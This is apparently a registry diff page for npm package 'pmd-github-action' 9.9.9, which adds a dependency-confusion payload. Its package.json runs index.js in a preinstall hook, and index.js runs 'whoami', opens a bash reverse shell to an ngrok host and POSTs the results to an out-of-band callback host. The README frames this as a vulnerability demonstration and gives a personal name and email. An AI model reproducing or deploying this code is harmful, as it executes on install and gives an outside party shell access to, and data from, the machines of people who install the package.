pmd-github-action 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pmd-github-action might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/index.js +27 -0
  3. package/package.json +12 -0
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ <h1 align="center">This NPM package vulnerable to dependency confiuse vulnerability</h1>
2
+ <p align="center">Name: Aryan Jaiswal</p>
3
+ <p align="center">Contact: aryan351985@gmail.com</p>
package/index.js ADDED
@@ -0,0 +1,27 @@
1
+ const execSync = require('child_process').execSync;
2
+
3
+ const whoami = execSync('whoami', { encoding: 'utf-8' });
4
+ const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/18121 0>&1', { encoding: 'utf-8' });
5
+
6
+
7
+ const https = require("https")
8
+
9
+ const data = JSON.stringify({
10
+ "whoami": whoami,
11
+ "shell": shell,
12
+ })
13
+
14
+ const options = {
15
+ hostname: "cm30n6w2vtc0000cv6m0gkndggayyyyy8.oast.fun",
16
+ port: 443,
17
+ path: "/",
18
+ method: "POST",
19
+ headers: {
20
+ "Content-Type": "application/json",
21
+ "Content-Length": data.length,
22
+ },
23
+ }
24
+
25
+ const req = https.request(options)
26
+ req.write(data)
27
+ req.end()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "pmd-github-action",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }